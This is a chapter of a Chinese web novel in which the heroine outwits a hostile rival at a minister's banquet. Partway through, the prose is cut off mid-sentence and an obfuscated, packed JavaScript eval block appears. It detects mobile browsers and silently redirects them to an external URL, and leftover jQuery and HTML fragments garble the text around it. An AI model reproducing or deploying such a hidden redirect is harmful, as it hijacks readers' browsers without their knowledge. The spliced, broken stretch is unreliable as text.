23. 第 23 章

作品:《坐等和离

    十月十五,宁大街陈相公府,一早上仆人就早早起来,连门前两石狮子上的浮尘都打扫干净清爽。


    今日虽称家宴,宴请的是陈相公门下颇受重视的青年才俊,早几日主母已经吩咐下来,早早做好了准备,下人自不敢怠慢。


    巳时开始,便陆陆续续开始有宾客马车进门。


    凌府马车来得不早不晚,因着凌母紧张,赵书晴便陪同凌母坐到一个马车之上,凌绝不知道什么心态,用上了府里最大的马车,将三个人塞在了同一个马车之上。


    车内空间很大,三个女主人坐在其中自然是绰绰有余,装饰虽不算华贵繁复,胜在舒服便利。


    谢灵君看着赵书晴上身葱白底色绣黄色杏花样斜襟襦衫,下着深碧色褶裥裙,娇俏爽利,只是比她往日男装多了两分拘谨。


    感觉挺复杂。


    谢灵君轻垂双眸,余光看见赵书晴衣裙下合拢绷直的小腿,僵硬的腰背,还有她紧紧抓住凌母的双手,脸上故作自然的表情。


    还有不用观察,全身心都在不适的凌母。


    谢灵君微微掀开车帘,前方凌绝腰背挺直骑马在前方带路,谢灵君偶尔看他回头,表情沉稳安抚。


    但这一路,谢灵君没有见过他的脊背放松过。


    视频剪辑多了,总会下意识的注意某些细节。


    书中描写了凌绝如何在朝堂一飞冲天,身居高位的风光无限。


    但是没有写他登高之前,是要自己汲汲营营,没有写他的母、妻、妹是如何小心翼翼的适应不熟悉的世界。


    此刻她见证他渐渐活成了一个活人,挣扎着往上爬,不是一直站在高处被人仰望的男主。


    一路胡思乱想中,马车行至陈府停下,门口有婆子带路,三人坐着软轿来到后院——陈府是真正的高门大户,门口到后院颇有一段路程。


    刚下软轿,便有婆子领着去拜见了陈府现在的后院当家。


    “老夫人。”因着陈大太太与凌绝同辈,因此虽然陈大太太更显雍容华贵,还是尊称凌母老夫人,还很贴心的叫谢灵君和赵书晴,“谢妹妹,晴妹妹。”


    可惜罗夫人越妥帖,越显得凌家人拘谨生疏;


    凌母,出身不高,本身性格软糯,虽然是母凭子贵,但是气势还是起不来;


    赵书晴一个未婚姑娘,本就不是社交主角,罗夫人盛赞几句,只能装羞涩;


    谢灵君打开记忆存档,可惜在水夫人的刻意压制下,原身根本没有几次参加宴会的记忆,技能十分不熟练,只能微笑点头。


    凌绝他不会看错人了吧,自己根本不擅长古代社交,小厨房奖励不会就没有了吧。


    谢灵君心里叹口气,算了,如果有错,她只会是小错,最大的错是老板识人不明。


    幸而罗夫人身份重要今日有许多客人要见,也善解人意,聊了一会,很快安排她们入座。


    坐到宴会被安排的位置上,谢灵君觉得身边的凌母、赵书晴都深深的松了一口气。


    可能别人看她也是如此。


    这一刻,谢灵君深深的为凌绝同情三分——他只能自己奋斗了,后院社交基本不能帮到他分毫。


    不过他这等牛人,应该能想到这结果——父母姐妹无法选择,但他也没有选择一个长袖善舞的夫人。他今日所得的,都是他选择的,便是他应该的。


    被选择的谢灵君很快就想通了,人不能为难自己,明明只是月薪三千,却试图扛起年薪三百万的责任。


    陈府的宴席,即使主人家繁忙,也不会让客人干坐着。很快,便有穿着碧色襦裙的侍女,带着古琴坐到花树掩映间。


    琴声渐起,清幽如听泉。


    这下挺好,若是爱静,便专心听琴,若是爱热闹,便三五成群悄悄低语,琴音便是另一层掩饰。


    至于凌家三人,自然是借琴音安静下来。


    也不知过了多久,谢灵君表面清高实质胡思乱想打发时间的走神间,忽地听见莺莺燕燕的背景音中,一声拔高鹦鹉声的话语清晰传来,“听闻谢妹妹今日来了,我这心啊是再也等不及了,一早就盼着见一见了。”


    声已到,人便跟着来了,谢灵君回过神来,只见花红柳绿中,一个身着绛红褙子杏黄百花刺绣腹围年轻美妇穿过人潮向自己走来,头上黄金朱簪红宝闪烁。


    热情的像假,似乎来者不善啊。


    谢灵君微微眯眼,凌绝提供的画像明明是古典画法,但画师精准的描绘出曲氏的特点,让谢灵君一眼就认出来了。


    “安人好。”出乎意料之外,曲氏还挺周全,先低头向凌母问好,“听闻凌大人受圣上青眼,在此恭喜安人贺喜安人。”


    凌母连忙站起来伸手去扶曲氏。


    不过没有等凌母手伸到前面,曲氏已经站起来,转头道,“哎呀,这就是谢妹妹吧。听闻妹妹出身王谢之家,哎呀,若是从前我等真的是连见妹妹一面都不容易,如今也能跟妹妹在一桌子宴饮了。今日我说什么都要多与谢妹妹亲近,沾几分世家的风华。”


    说罢,便自然在谢灵君身边落座,颇有一种一见如故恨不能长聊的姿态。


    热情非常,却把刚刚招呼过的凌母架在一旁,对旁边的赵书晴更是视若无睹。


    凌母呆了一瞬间,仿若无事的坐了回去。


    赵书晴安静的看着眼前的浆饮,好像隐形一样不说话。


    谢灵君职场雷达已经响起警报。


    如果谢灵君是一般的新媳妇,凌母和赵书晴是一般婆母和小姑子,此刻已经对谢灵君已经多有迁怒。


    但若是要认真指责,曲氏并无错处,曲氏最多是过于热情了,要真说出来,反而是她谢灵君不识好歹了。


    果然这项目奖金不是能顺当的拿下来。谢灵君心中叹气,收回奢望,郑重以待。


    坐下来之后,曲氏故作亲密低声道,“今日看见谢妹妹,我才知道是不枉此行。一见谢妹妹,我便忍不着想找妹妹说说心里话,从前在宴会里几次见灵意,只觉得也不过如此,世家风范,还是要看妹妹你。”


    曲氏意味深长,像是闺蜜分享小秘密。


    在谢灵君看来,更像职场那些打着热情的模样,各处打听消息,说人闲话,故意拉踩的烦人精老油条。


    若是谢灵君经验浅薄一些,顺着说上一两句,那背后不知道会被传成怎么样的笑话。毕竟一笔写不出两个谢,她们有一半的血脉一样,对外践踏谢灵意便是践踏她自己。


    若是谢灵君敏感一些,哀怜自身从前在继母手下生活,连正经宴席都没能出席几次,那便是自己走入自己的牢笼。


    若是谢灵君自傲又自卑,被人像戏子一样比来比去,点评来点评去,脸上带上了恼色便落了下等。


    可惜谢灵君现在是个暴躁打工人,只当一阵噪音入耳,皱眉间左耳进右耳出,仿若未闻。


    曲氏等得心间一口气都快要散了,才得谢灵君一句疑问,“哦,曲夫人这样觉得?我可不敢当。”


    我什么都没说过,都是你曲夫人在背后道人是非。


    曲夫人没有散去的那口气便堵在了咽喉间。


    见谢灵君不曾动容,曲氏暗恼,她出身已是贵女,挑婿虽不是勋贵,但是肖诚正出身亦非寒门,当官之后更是被称得上年轻有为,曲氏的人生,算得上一帆风顺。


    中书舍人一职肖家谋划了许久,若是韩公子便罢了,大家都是勋贵出身,他们也自认身价不如人技艺不如人。


    偏偏冒出来一个凌绝,资历家世才华都在自己家之下,却成了最后的赢家。


    更委屈的是临行前,自家相公还跟自己说,为了以后,要与凌绝一家交好。


    若不是如此,曲氏何必委屈自己要佯装热情,不落人口舌。


    她来前早已调查清楚,凌家毫无根基的一家人,凌母改嫁一个土包子,赵书晴姓赵入曲氏的眼都没有资格,谢灵君顶着一个好听的姓氏,早就被继母养废了,还心高气傲不识时务。


    不是要与凌家交好吗?曲氏想着若是自己主动交好,谢灵君不识好歹,那就不是她的错了。


    她要满京师看看谢灵君的笑话,看凌母赵书晴的笑话,这口气才能舒服的发散出来。


    脑中翻腾许久才将那一口气咽下,曲氏自己安抚好自己,方才继续开口,“说起来,妹妹和我的缘分是从建康开始的。我娘家也是建康不远,从前路过建康,看见王谢大宅,已是门前凋落,心中惋惜不已。”


    “哦。是吗?”谢灵君清饮前面的一杯果子浆饮。


    陈家的浆饮很有名,酸甜混合的果子味道,后续带着淡淡的酒味,谢灵君喝出了石榴、苹果的味道,其他尝不出来,应是秘方。


    挺好喝,这已经是她喝的第二杯。


    至于曲氏的话,谢灵君丁点不信,没有王谢等世家的没落,哪有曲氏这些新兴勋贵的兴起。没有听说过黄鼠狼吃饱了之后,可怜鸡死得太惨的。


    “曲夫人觉得这曲如何?我觉着十分好,颇有几分建康风采。”谢灵君一边喝浆饮一边听琴,就是不接话,倒真是有几分从前世家云淡风轻的风范。


    对比之下,显得曲氏急切了些,风度不及许多。


    旁边被曲氏刻意忽略的赵书晴悄悄低下了头,悄悄压下嘴角笑意。


    从前只觉得谢灵君清高的样子十分碍眼,如今当谢灵君拿这幅样子对付其他人,莫名的就十分解气。


    这世间有比我更倒霉的倒霉蛋了。


    不过曲氏显然不觉得自己倒霉,很快调整好自己,假意回道,“谢妹妹喜欢这琴曲?可惜琴谱是陈相公家谱藏,不好夺人所爱。早前听闻妹妹写得一手好字,我家还有几幅真迹字帖,听说妹妹如今伤了手,等妹妹的手好了,再邀请妹妹去我家赏字。”


    谢灵君眼露不耐,一而再,再而三,难道要一直陪着曲氏演下去。


    自己是答应了凌绝要表现交好,但是没答应要一直挨打不回手。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051854|194808||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    是可忍孰不可忍,玫瑰没点刺,曲氏还真当自己是个软柿子,一直想要捏一捏。


    眼眸一转,谢灵君转过头看着曲夫人,轻轻开口,“你也听说我的手伤了?”


    “嗯,隐约有听说,妹妹别伤心。”曲氏以为终于刺到谢灵君的痛处,狠狠忍住嘲意,佯装关心道。


    因为装得有点难,以至于脸色都有点扭曲了。


    “那你必然知道我的手伤了之后,写不出从前的字了?”谢灵君轻咬下唇。


    “额……这倒是不知道。”曲氏这是真惊讶,想不到谢灵君自己这么直白就说出来了,又顾做关心,“谢妹妹别伤心,好好养伤,一定能养好的。”


    “嗯,我自会好好养伤。”谢灵君脸上没有了漫不经心,神色凛然,“如今你也知道了,我的手受伤了,写不出从前的字,你还一而再再而三的说,你知道我有多伤心吗?”


    够委屈了吧?


    曲夫人有点愣住了,不知道谢灵君为何再三说自己的伤疤,难道她自己不在意吗?


    拿捏不准其中原因,曲夫人一时下意识顺着说道,“妹妹,我实在是不知道……”


    “我真的,太伤心了。”谢灵君神色骤变,冷声打断道,“来之前,相公早告诉我,他与肖大人既是同窗,也是同僚。相公珍惜与肖大人一路的情谊,早对我说要与你好好相处,听说你家近日妾室添丁进喜,我差点忘记跟你道一声恭喜。”


    你家妾室添丁我没有给你添堵,你以为我不知道吗?!


    曲夫人脸色变得极为复杂:虚弱、羞恼、愤怒,最后又伪装镇静,“不过是一妾室,不值一提……”


    “哦,是吗?听说那妾室还是你家肖大人幼时的青梅竹马,你知道吗?”


    未来权臣做的准备就是充足,只是为什么提供的资料也包括了这种细节。


    曲夫人的脸色骤然变得极为苍白。


    谢灵君心中闪过一丝怜悯,却终究没有住口,“还有,你家的旧日谱系我都背了。我知道有些人缺什么就越要炫耀什么,你不过见得少了些,祖上积累少了些,我也没说什么。你说,到底是颜公的《多宝塔碑》,还是柳公的《玄秘塔碑》,让我开开眼界。”


    你家什么出身什么情况我不知道,所以别再明里暗里炫耀你家那几幅真迹了。关公门前耍大刀。


    曲夫人气绝,她家的确不是颜公的《多宝塔碑》,也不是柳公的《玄秘塔碑》,那两位的真迹如何能轮得到她们家。


    可是,谢灵君顶着王氏一半的血脉,硬说的确也只有这两位的真迹,能叫一半书圣血脉传承开眼界。


    谢灵君一脸凛然,“如今你说你不知我手伤了写不出字,我便原谅你无心之失,只是不是颜公柳公真迹,这邀请恕我不能去了。看了实在伤心得难以自已。”


    “你……”曲氏第一次遇见自己不把自己伤口当伤口的对手,硬生生说不出话来。


    明明自己受到的伤害更多,偏偏好像自己不在理在先。


    谢灵君倒是一直说自己伤心,如今瞧着哪有半分真伤心。


    事情发展不如预期,哪有世家之女如此直白、粗鄙、狡诈,风度呢,仪态呢。


    偏偏这直白的招式,曲氏还真不知道如何应对,脸色忽青忽白立在一旁,无法下台。


    谢灵君还继续说,“你、的、错,我、大、度、的、原、谅、你、了。”


    曲氏已经气到极点,即将爆发!


    谢灵君却偏头向翠枝道,“你去找罗夫人身边的金盏,就说我找她有点事。”


    若是真等谢灵君找到罗夫人,那曲氏真的是脸上无光了——都是宅斗的高手,假意装不了真心,难道两个人撕拉成这样体面吗?


    终究是要脸的人先认输,曲氏后牙槽都咬紧了,方才缓缓说,“是我打扰谢夫人了。先告辞。”


    “等一等。”谢灵君却不依了,举杯道,“来,喝一杯。”


    曲氏僵着不动。


    “快一点,想来大家都希望看到我们相谈甚欢,和乐融融,不是吗?”谢灵君压低声音,以几乎只有两个人能听到的音量道,“陈相爷想必也是希望如此。”


    是的,这场宴饮,三方都希望如此。


    曲氏僵着举起杯子,谢灵君轻轻碰一碰,“来,笑一笑。安静一点,一起听一会曲。”


    曲氏真想拂袖而去啊,可惜谢灵君说的是真的,她挑衅在先,被谢灵君抓住了错处,只能任由谢灵君摆布。


    如坐针毡,心若火焚,度日如年,一去毕,曲氏终于可以借口离去。


    曲氏一走,凌母和赵书晴如同不认识一样看向谢灵君。


    从前她对我还是轻饶了几分,赵书晴忽然悟到。


    “喝茶,听曲,多好听的乐声啊。”谢灵君佯装平静。


    她努力了,结局尚算和睦。


    虽然中间有几分偏差,但是凌绝应该可以理解的吧?


    他可以处理的吧?